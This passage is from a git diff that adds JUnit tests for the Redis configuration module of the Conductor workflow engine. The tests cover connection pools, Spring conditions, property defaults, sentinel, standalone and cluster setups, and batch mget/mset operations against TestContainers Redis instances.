    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.apache.commons.pool2.impl.GenericObjectPoolConfig; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import redis.clients.jedis.Connection; +import redis.clients.jedis.JedisPooled; +import redis.clients.jedis.UnifiedJedis; +import redis.clients.jedis.util.Pool; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Tests the base RedisConfiguration — pool monitoring lifecycle, single executor for multiple + * pools, and clean shutdown. + */ +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +class RedisConfigurationTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:6.2.6-alpine")) + .withExposedPorts(6379); + + private String host; + private int port; + + @BeforeAll + void setUp() { + redis.start(); + host = redis.getHost(); + port = redis.getFirstMappedPort(); + } + + private TestRedisConfiguration createConfig() { + return new TestRedisConfiguration(); + } + + private Pool createPool() { + GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig<>(); + poolConfig.setMaxTotal(5); + poolConfig.setMinIdle(1); + JedisPooled pooled = new JedisPooled(poolConfig, host, port); + return pooled.getPool(); + } + + @Test + void monitorJedisPool_acceptsPool() { + TestRedisConfiguration config = createConfig(); + Pool pool = createPool(); + + assertDoesNotThrow(() -> config.monitorJedisPool(pool)); + config.shutdownMonitor(); + } + + @Test + void monitorJedisPool_acceptsMultiplePools() { + TestRedisConfiguration config = createConfig(); + Pool pool1 = createPool(); + Pool pool2 = createPool(); + + config.monitorJedisPool(pool1); + config.monitorJedisPool(pool2); + + // Both pools should be tracked without creating extra executors + config.shutdownMonitor(); + } + + @Test + void shutdownMonitor_isIdempotent() { + TestRedisConfiguration config = createConfig(); + config.monitorJedisPool(createPool()); + + assertDoesNotThrow( + () -> { + config.shutdownMonitor(); + config.shutdownMonitor(); + }); + } + + @Test + void monitorThread_isDaemon() throws InterruptedException { + TestRedisConfiguration config = createConfig(); + config.monitorJedisPool(createPool()); + + // Give the scheduled executor time to start its thread + Thread.sleep(100); + + boolean foundDaemon = + Thread.getAllStackTraces().keySet().stream() + .anyMatch(t -> t.getName().equals("redis-pool-monitor") && t.isDaemon()); + assertTrue(foundDaemon, "Monitor thread should be a daemon thread"); + + config.shutdownMonitor(); + } + + /** Concrete subclass for testing the abstract RedisConfiguration. */ + static class TestRedisConfiguration extends RedisConfiguration { + @Override + protected UnifiedJedis createUnifiedJedis(RedisProperties properties) { + throw new UnsupportedOperationException("Not needed for base class tests"); + } + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConnectionConditionTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConnectionConditionTest.java new file mode 100644 index 0000000..9d24427 --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConnectionConditionTest.java @@ -0,0 +1,82 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.runner.ApplicationContextRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; + +import static org.junit.jupiter.api.Assertions.*; + +class RedisConnectionConditionTest { + + private final ApplicationContextRunner contextRunner = + new ApplicationContextRunner() + .withUserConfiguration( + StandaloneMarkerConfiguration.class, + ClusterMarkerConfiguration.class, + SentinelMarkerConfiguration.class); + + @Test + void standaloneConditionMatchesWhenQueueUsesRedisStandalone() { + contextRunner + .withPropertyValues("conductor.queue.type=redis_standalone") + .run(context -> assertTrue(context.containsBean("standaloneMarker"))); + } + + @Test + void clusterConditionMatchesWhenQueueUsesRedisCluster() { + contextRunner + .withPropertyValues("conductor.queue.type=redis_cluster") + .run(context -> assertTrue(context.containsBean("clusterMarker"))); + } + + @Test + void sentinelConditionMatchesWhenQueueUsesRedisSentinel() { + contextRunner + .withPropertyValues("conductor.queue.type=redis_sentinel") + .run(context -> assertTrue(context.containsBean("sentinelMarker"))); + } + + @Configuration(proxyBeanMethods = false) + @Conditional(RedisStandaloneCondition.class) + static class StandaloneMarkerConfiguration { + + @Bean + String standaloneMarker() { + return "standalone"; + } + } + + @Configuration(proxyBeanMethods = false) + @Conditional(RedisClusterCondition.class) + static class ClusterMarkerConfiguration { + + @Bean + String clusterMarker() { + return "cluster"; + } + } + + @Configuration(proxyBeanMethods = false) + @Conditional(RedisSentinelCondition.class) + static class SentinelMarkerConfiguration { + + @Bean + String sentinelMarker() { + return "sentinel"; + } + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisPropertiesTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisPropertiesTest.java new file mode 100644 index 0000000..34c5e70 --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisPropertiesTest.java @@ -0,0 +1,187 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import java.time.Duration; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.core.config.ConductorProperties; + +import static org.junit.jupiter.api.Assertions.*; + +class RedisPropertiesTest { + + private RedisProperties properties; + + @BeforeEach + void setUp() { + properties = new RedisProperties(new ConductorProperties()); + } + + // --- Defaults --- + + @Test + void defaults_connectionPool() { + assertEquals(10, properties.getMaxConnectionsPerHost()); + assertEquals(8, properties.getMaxIdleConnections()); + assertEquals(5, properties.getMinIdleConnections()); + assertEquals(180000, properties.getMinEvictableIdleTimeMillis()); + assertEquals(60000, properties.getTimeBetweenEvictionRunsMillis()); + assertTrue(properties.isTestWhileIdle()); + assertTrue(properties.isFairness()); + assertEquals(3, properties.getNumTestsPerEvictionRun()); + } + + @Test + void defaults_connection() { + assertNull(properties.getHosts()); + assertNull(properties.getUser()); + assertFalse(properties.isSsl()); + assertFalse(properties.isIgnoreSsl()); + assertEquals(0, properties.getDatabase()); + } + + @Test + void defaults_sentinel() { + assertEquals("mymaster", properties.getSentinelMasterName()); + } + + @Test + void defaults_eventExecutionPersistenceTTL() { + assertEquals(Duration.ofSeconds(60), properties.getEventExecutionPersistenceTTL()); + } + + @Test + void defaults_replication() { + assertEquals(1, properties.getReplicasToSync()); + assertEquals(5000, properties.getReplicaSyncWaitTime()); + } + + @Test + void defaults_caching() { + assertEquals(Duration.ofSeconds(60), properties.getTaskDefCacheRefreshInterval()); + assertEquals(Duration.ofSeconds(60), properties.getMetadataCacheRefreshInterval()); + assertEquals(3600, properties.getQueueCacheExpireAfterAccessSeconds()); + assertEquals(4000, properties.getQueueCacheMaxSize()); + } + + @Test + void defaults_namespace() { + assertNull(properties.getWorkflowNamespacePrefix()); + assertNull(properties.getQueueNamespacePrefix()); + assertNull(properties.getKeyspaceDomain()); + } + + @Test + void defaults_cluster() { + assertEquals("", properties.getClusterName()); + assertEquals("us-east-1", properties.getDataCenterRegion()); + assertEquals("us-east-1c", properties.getAvailabilityZone()); + assertEquals(Duration.ofMillis(10000), properties.getMaxTotalRetriesDuration()); + } + + // --- Setters --- + + @Test + void setHosts() { + properties.setHosts("redis1:6379:rack1;redis2:6379:rack2"); + assertEquals("redis1:6379:rack1;redis2:6379:rack2", properties.getHosts()); + } + + @Test + void setUser() { + properties.setUser("admin"); + assertEquals("admin", properties.getUser()); + } + + @Test + void setSentinelMasterName() { + properties.setSentinelMasterName("my-master"); + assertEquals("my-master", properties.getSentinelMasterName()); + } + + @Test + void setSsl() { + properties.setSsl(true); + assertTrue(properties.isSsl()); + properties.setIgnoreSsl(true); + assertTrue(properties.isIgnoreSsl()); + } + + @Test + void setDatabase() { + properties.setDatabase(5); + assertEquals(5, properties.getDatabase()); + } + + @Test + void setConnectionPool() { + properties.setMaxConnectionsPerHost(50); + properties.setMaxIdleConnections(20); + properties.setMinIdleConnections(10); + assertEquals(50, properties.getMaxConnectionsPerHost()); + assertEquals(20, properties.getMaxIdleConnections()); + assertEquals(10, properties.getMinIdleConnections()); + } + + @Test + void setEventExecutionPersistenceTTL() { + properties.setEventExecutionPersistenceTTL(Duration.ofSeconds(120)); + assertEquals(Duration.ofSeconds(120), properties.getEventExecutionPersistenceTTL()); + } + + // --- getQueuePrefix --- + + @Test + void getQueuePrefix_withDomain() { + properties.setQueueNamespacePrefix("queues"); + properties.setKeyspaceDomain("prod"); + String prefix = properties.getQueuePrefix(); + assertTrue(prefix.startsWith("queues.")); + assertTrue(prefix.endsWith(".prod")); + } + + @Test + void getQueuePrefix_withoutDomain() { + properties.setQueueNamespacePrefix("queues"); + String prefix = properties.getQueuePrefix(); + assertTrue(prefix.startsWith("queues.")); + assertFalse(prefix.contains(".null")); + } + + // --- ExecutionDAOProperties --- + + @Test + void executionDAOProperties_defaults() { + RedisProperties.ExecutionDAOProperties exec = properties.getExecutionProperties(); + assertNotNull(exec); + assertEquals(10_000, exec.getWorkflowDefCacheMaxSize()); + assertEquals(1000, exec.getTaskCacheMaxSize()); + assertEquals(10, exec.getTaskCacheExpireAfterWriteSeconds()); + } + + @Test + void executionDAOProperties_setters() { + RedisProperties.ExecutionDAOProperties exec = new RedisProperties.ExecutionDAOProperties(); + exec.setWorkflowDefCacheMaxSize(5000); + exec.setTaskCacheMaxSize(500); + exec.setTaskCacheExpireAfterWriteSeconds(30); + properties.setExecutionProperties(exec); + + assertEquals(5000, properties.getExecutionProperties().getWorkflowDefCacheMaxSize()); + assertEquals(500, properties.getExecutionProperties().getTaskCacheMaxSize()); + assertEquals(30, properties.getExecutionProperties().getTaskCacheExpireAfterWriteSeconds()); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisSentinelConfigurationTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisSentinelConfigurationTest.java new file mode 100644 index 0000000..e274c76 --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisSentinelConfigurationTest.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.core.config.ConductorProperties; + +import redis.clients.jedis.JedisClientConfig; + +import static org.junit.jupiter.api.Assertions.*; + +class RedisSentinelConfigurationTest { + + private RedisSentinelConfiguration configuration; + private RedisProperties properties; + + @BeforeEach + void setUp() { + configuration = new RedisSentinelConfiguration(); + properties = new RedisProperties(new ConductorProperties()); + } + + @Test + void createMasterClientConfig_setsAuthAndDatabase() { + properties.setUser("sentinel-user"); + properties.setDatabase(7); + + JedisClientConfig config = configuration.createMasterClientConfig(properties, "secret"); + + assertEquals("sentinel-user", config.getUser()); + assertEquals("secret", config.getPassword()); + assertEquals(7, config.getDatabase()); + } + + @Test + void createSentinelClientConfig_preservesLegacySentinelAuth() { + properties.setUser("sentinel-user"); + + JedisClientConfig config = configuration.createSentinelClientConfig(properties, "secret"); + + assertEquals("sentinel-user", config.getUser()); + assertEquals("secret", config.getPassword()); + } + + @Test + void createSentinelClientConfig_honorsSslSettings() { + properties.setSsl(true); + properties.setIgnoreSsl(true); + + JedisClientConfig config = configuration.createSentinelClientConfig(properties, "secret"); + + assertTrue(config.isSsl()); + assertNotNull(config.getSslSocketFactory()); + assertNotNull(config.getHostnameVerifier()); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisStandaloneConfigurationTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisStandaloneConfigurationTest.java new file mode 100644 index 0000000..61412d2 --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisStandaloneConfigurationTest.java @@ -0,0 +1,110 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.jedis.JedisCommands; + +import redis.clients.jedis.UnifiedJedis; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Tests RedisStandaloneConfiguration against a real Redis via TestContainers. Verifies bean + * creation, connection, and basic operations. + */ +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +class RedisStandaloneConfigurationTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:6.2.6-alpine")) + .withExposedPorts(6379); + + private RedisStandaloneConfiguration config; + private RedisProperties properties; + + @BeforeAll + void setUp() { + redis.start(); + + ConductorProperties conductorProperties = new ConductorProperties(); + properties = new RedisProperties(conductorProperties); + properties.setHosts(redis.getHost() + ":" + redis.getFirstMappedPort() + ":us-east-1c"); + properties.setMaxConnectionsPerHost(5); + properties.setMinIdleConnections(1); + properties.setMaxIdleConnections(3); + + config = new RedisStandaloneConfiguration(); + } + + @Test + void createUnifiedJedis_returnsWorkingConnection() { + UnifiedJedis jedis = config.createUnifiedJedis(properties); + assertNotNull(jedis); + + // Verify actual Redis connectivity + assertEquals("PONG", jedis.ping()); + } + + @Test + void createUnifiedJedis_canReadWrite() { + UnifiedJedis jedis = config.createUnifiedJedis(properties); + jedis.set("standalone-test-key", "hello"); + assertEquals("hello", jedis.get("standalone-test-key")); + jedis.del("standalone-test-key"); + } + + @Test + void getJedisCommands_returnsJedisCommands() { + UnifiedJedis jedis = config.createUnifiedJedis(properties); + JedisCommands commands = config.getJedisCommands(jedis, properties); + + assertNotNull(commands); + } + + @Test + void getJedisCommands_canPerformOperations() { + UnifiedJedis jedis = config.createUnifiedJedis(properties); + JedisCommands commands = config.getJedisCommands(jedis, properties); + + commands.set("cmd-test-key", "value"); + assertEquals("value", commands.get("cmd-test-key")); + assertEquals("PONG", commands.ping()); + commands.del("cmd-test-key"); + } + + @Test + void createUnifiedJedis_respectsDatabaseSetting() { + properties.setDatabase(1); + UnifiedJedis jedis = config.createUnifiedJedis(properties); + jedis.set("db1-key", "in-db1"); + assertEquals("in-db1", jedis.get("db1-key")); + jedis.del("db1-key"); + properties.setDatabase(0); // reset + } + + @Test + void createUnifiedJedis_withAuthUser() { + // Verify config doesn't crash when user is set (no ACL on test Redis, so just confirm no + // exception) + properties.setUser(null); // reset to no user + UnifiedJedis jedis = config.createUnifiedJedis(properties); + assertEquals("PONG", jedis.ping()); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/ConfigurationHostSupplierTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/ConfigurationHostSupplierTest.java new file mode 100644 index 0000000..226fbe8 --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/ConfigurationHostSupplierTest.java @@ -0,0 +1,89 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.redis.config.ConfigurationHostSupplier; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.dyno.connectionpool.Host; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class ConfigurationHostSupplierTest { + + private RedisProperties properties; + + private ConfigurationHostSupplier configurationHostSupplier; + + @Before + public void setUp() { + properties = mock(RedisProperties.class); + configurationHostSupplier = new ConfigurationHostSupplier(properties); + } + + @Test + public void getHost() { + when(properties.getHosts()).thenReturn("dyno1:8102:us-east-1c"); + + List hosts = configurationHostSupplier.getHosts(); + assertEquals(1, hosts.size()); + + Host firstHost = hosts.get(0); + assertEquals("dyno1", firstHost.getHostName()); + assertEquals(8102, firstHost.getPort()); + assertEquals("us-east-1c", firstHost.getRack()); + assertTrue(firstHost.isUp()); + } + + @Test + public void getMultipleHosts() { + when(properties.getHosts()).thenReturn("dyno1:8102:us-east-1c;dyno2:8103:us-east-1c"); + + List hosts = configurationHostSupplier.getHosts(); + assertEquals(2, hosts.size()); + + Host firstHost = hosts.get(0); + assertEquals("dyno1", firstHost.getHostName()); + assertEquals(8102, firstHost.getPort()); + assertEquals("us-east-1c", firstHost.getRack()); + assertTrue(firstHost.isUp()); + + Host secondHost = hosts.get(1); + assertEquals("dyno2", secondHost.getHostName()); + assertEquals(8103, secondHost.getPort()); + assertEquals("us-east-1c", secondHost.getRack()); + assertTrue(secondHost.isUp()); + } + + @Test + public void getAuthenticatedHost() { + when(properties.getHosts()).thenReturn("redis1:6432:us-east-1c:password"); + + List hosts = configurationHostSupplier.getHosts(); + assertEquals(1, hosts.size()); + + Host firstHost = hosts.get(0); + assertEquals("redis1", firstHost.getHostName()); + assertEquals(6432, firstHost.getPort()); + assertEquals("us-east-1c", firstHost.getRack()); + assertEquals("password", firstHost.getPassword()); + assertTrue(firstHost.isUp()); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisClusterCommandsBatchTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisClusterCommandsBatchTest.java new file mode 100644 index 0000000..b478dbd --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisClusterCommandsBatchTest.java @@ -0,0 +1,226 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.nio.charset.StandardCharsets; +import java.time.Duration; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.redis.testutil.FixedPortContainer; + +import com.google.common.util.concurrent.Uninterruptibles; +import redis.clients.jedis.DefaultJedisClientConfig; +import redis.clients.jedis.HostAndPort; +import redis.clients.jedis.JedisCluster; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Integration tests for {@link JedisClusterCommands} batch operations (mget, mgetBytes, mset) using + * a real Redis Cluster via TestContainers. Keys are spread across shards by design. + */ +public class JedisClusterCommandsBatchTest { + + static int[] ports = new int[] {17000, 17001, 17002, 17003, 17004, 17005}; + + private static FixedPortContainer redis = + new FixedPortContainer(DockerImageName.parse("orkesio/redis-cluster")); + + static { + redis.exposePort(17000, 7000); + redis.exposePort(17001, 7001); + redis.exposePort(17002, 7002); + redis.exposePort(17003, 7003); + redis.exposePort(17004, 7004); + redis.exposePort(17005, 7005); + } + + private static JedisClusterCommands commands; + private static JedisCluster jedisCluster; + + @BeforeAll + public static void setUp() { + redis.withStartupTimeout(Duration.ofSeconds(120)).start(); + Uninterruptibles.sleepUninterruptibly(10, TimeUnit.SECONDS); + + Set hostAndPorts = new HashSet<>(); + for (int port : ports) { + hostAndPorts.add(new HostAndPort("localhost", port)); + } + + // Redis cluster nodes announce themselves on internal ports 7000-7005, but the container + // exposes them on 17000-17005 to avoid host port conflicts. This mapper translates. + DefaultJedisClientConfig clientConfig = + DefaultJedisClientConfig.builder() + .hostAndPortMapper( + hp -> + hp.getPort() >= 7000 && hp.getPort() <= 7005 + ? new HostAndPort("127.0.0.1", hp.getPort() + 10000) + : hp) + .build(); + + jedisCluster = new JedisCluster(hostAndPorts, clientConfig); + commands = new JedisClusterCommands(jedisCluster); + } + + @Test + void mget_withKeysAcrossShards_returnsAllValues() { + int keyCount = 2000; + String[] keys = new String[keyCount]; + Map expected = new HashMap<>(); + + for (int i = 0; i < keyCount; i++) { + // UUID keys ensure distribution across different hash slots + keys[i] = "mget-test:" + UUID.randomUUID(); + expected.put(keys[i], "value-" + i); + jedisCluster.set(keys[i], "value-" + i); + } + + List results = commands.mget(keys); + + assertEquals(keyCount, results.size()); + // All expected values should be present (order may differ due to null filtering) + Set resultSet = new HashSet<>(results); + for (String value : expected.values()) { + assertTrue(resultSet.contains(value), "Missing value: " + value); + } + } + + @Test + void mget_withMissingKeys_filtersNulls() { + int existingCount = 1000; + int missingCount = 500; + String[] keys = new String[existingCount + missingCount]; + + for (int i = 0; i < existingCount; i++) { + keys[i] = "mget-exists:" + UUID.randomUUID(); + jedisCluster.set(keys[i], "val-" + i); + } + for (int i = 0; i < missingCount; i++) { + keys[existingCount + i] = "mget-missing:" + UUID.randomUUID(); + } + + List results = commands.mget(keys); + + assertEquals(existingCount, results.size()); + } + + @Test + void mgetBytes_withKeysAcrossShards_returnsAllValues() { + int keyCount = 2000; + byte[][] keys = new byte[keyCount][]; + Set expectedValues = new HashSet<>(); + + for (int i = 0; i < keyCount; i++) { + String keyStr = "mgetb-test:" + UUID.randomUUID(); + String valStr = "bytes-value-" + i; + keys[i] = keyStr.getBytes(StandardCharsets.UTF_8); + expectedValues.add(valStr); + jedisCluster.set(keys[i], valStr.getBytes(StandardCharsets.UTF_8)); + } + + List results = commands.mgetBytes(keys); + + assertEquals(keyCount, results.size()); + Set resultSet = new HashSet<>(); + for (byte[] r : results) { + resultSet.add(new String(r, StandardCharsets.UTF_8)); + } + assertEquals(expectedValues, resultSet); + } + + @Test + void mgetBytes_withMissingKeys_filtersNullsAndEmpty() { + int existingCount = 1000; + int missingCount = 500; + byte[][] keys = new byte[existingCount + missingCount][]; + + for (int i = 0; i < existingCount; i++) { + String keyStr = "mgetb-exists:" + UUID.randomUUID(); + keys[i] = keyStr.getBytes(StandardCharsets.UTF_8); + jedisCluster.set(keys[i], ("val-" + i).getBytes(StandardCharsets.UTF_8)); + } + for (int i = 0; i < missingCount; i++) { + keys[existingCount + i] = + ("mgetb-missing:" + UUID.randomUUID()).getBytes(StandardCharsets.UTF_8); + } + + List results = commands.mgetBytes(keys); + + assertEquals(existingCount, results.size()); + } + + @Test + void mset_withKeysAcrossShards_writesAllValues() { + int keyCount = 2000; + byte[][] keyvalues = new byte[keyCount * 2][]; + byte[][] keys = new byte[keyCount][]; + + for (int i = 0; i < keyCount; i++) { + String keyStr = "mset-test:" + UUID.randomUUID(); + String valStr = "mset-value-" + i; + keys[i] = keyStr.getBytes(StandardCharsets.UTF_8); + keyvalues[i * 2] = keys[i]; + keyvalues[i * 2 + 1] = valStr.getBytes(StandardCharsets.UTF_8); + } + + commands.mset(keyvalues); + + // Verify all values were written by reading them back + for (int i = 0; i < keyCount; i++) { + byte[] value = jedisCluster.get(keys[i]); + assertNotNull( + value, + "Key " + new String(keys[i], StandardCharsets.UTF_8) + " was not written"); + String expected = "mset-value-" + i; + assertEquals(expected, new String(value, StandardCharsets.UTF_8)); + } + } + + @Test + void mset_then_mgetBytes_roundtrip() { + int keyCount = 5000; + byte[][] keyvalues = new byte[keyCount * 2][]; + byte[][] keys = new byte[keyCount][]; + Set expectedValues = new HashSet<>(); + + for (int i = 0; i < keyCount; i++) { + String keyStr = "roundtrip:" + UUID.randomUUID(); + String valStr = "rt-value-" + i; + keys[i] = keyStr.getBytes(StandardCharsets.UTF_8); + keyvalues[i * 2] = keys[i]; + keyvalues[i * 2 + 1] = valStr.getBytes(StandardCharsets.UTF_8); + expectedValues.add(valStr); + } + + commands.mset(keyvalues); + List results = commands.mgetBytes(keys); + + assertEquals(keyCount, results.size()); + Set resultSet = new HashSet<>(); + for (byte[] r : results) { + resultSet.add(new String(r, StandardCharsets.UTF_8)); + } + assertEquals(expectedValues, resultSet); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisCommandsIntegrationTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisCommandsIntegrationTest.java new file mode 100644 index 0000000..dc1f330 --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisCommandsIntegrationTest.java @@ -0,0 +1,555 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.stream.Stream; + +import org.apache.commons.pool2.impl.GenericObjectPoolConfig; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.TestInstance; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import redis.clients.jedis.Connection; +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.JedisPoolConfig; +import redis.clients.jedis.JedisPooled; +import redis.clients.jedis.params.ScanParams; +import redis.clients.jedis.params.SetParams; +import redis.clients.jedis.params.ZAddParams; +import redis.clients.jedis.resps.ScanResult; +import redis.clients.jedis.resps.Tuple; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Integration tests for {@link JedisStandalone} and {@link UnifiedJedisCommands} — both + * implementations of {@link JedisCommands} tested against a real Redis instance. + */ +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +public class JedisCommandsIntegrationTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:6.2.6-alpine")) + .withExposedPorts(6379); + + private JedisPool jedisPool; + private JedisStandalone jedisStandalone; + private UnifiedJedisCommands unifiedJedisCommands; + + @BeforeAll + void setUp() { + redis.start(); + + JedisPoolConfig poolConfig = new JedisPoolConfig(); + poolConfig.setMinIdle(2); + poolConfig.setMaxTotal(10); + jedisPool = new JedisPool(poolConfig, redis.getHost(), redis.getFirstMappedPort()); + jedisStandalone = new JedisStandalone(jedisPool); + + GenericObjectPoolConfig unifiedPoolConfig = new GenericObjectPoolConfig<>(); + unifiedPoolConfig.setMinIdle(2); + unifiedPoolConfig.setMaxTotal(10); + JedisPooled pooled = + new JedisPooled(unifiedPoolConfig, redis.getHost(), redis.getFirstMappedPort()); + unifiedJedisCommands = new UnifiedJedisCommands(pooled); + } + + @BeforeEach + void flushDb() { + try (Jedis jedis = jedisPool.getResource()) { + jedis.flushAll(); + } + } + + Stream implementations() { + return Stream.of(jedisStandalone, unifiedJedisCommands); + } + + // --- String operations --- + + @ParameterizedTest + @MethodSource("implementations") + void setAndGet(JedisCommands cmd) { + assertEquals("OK", cmd.set("k1", "v1")); + assertEquals("v1", cmd.get("k1")); + assertNull(cmd.get("nonexistent")); + } + + @ParameterizedTest + @MethodSource("implementations") + void setWithParams(JedisCommands cmd) { + SetParams params = SetParams.setParams().ex(60).nx(); + assertEquals("OK", cmd.set("sp1", "val", params)); + assertEquals("val", cmd.get("sp1")); + // NX should fail on second set + assertNull(cmd.set("sp1", "val2", params)); + assertEquals("val", cmd.get("sp1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void setAndGetBytes(JedisCommands cmd) { + byte[] key = 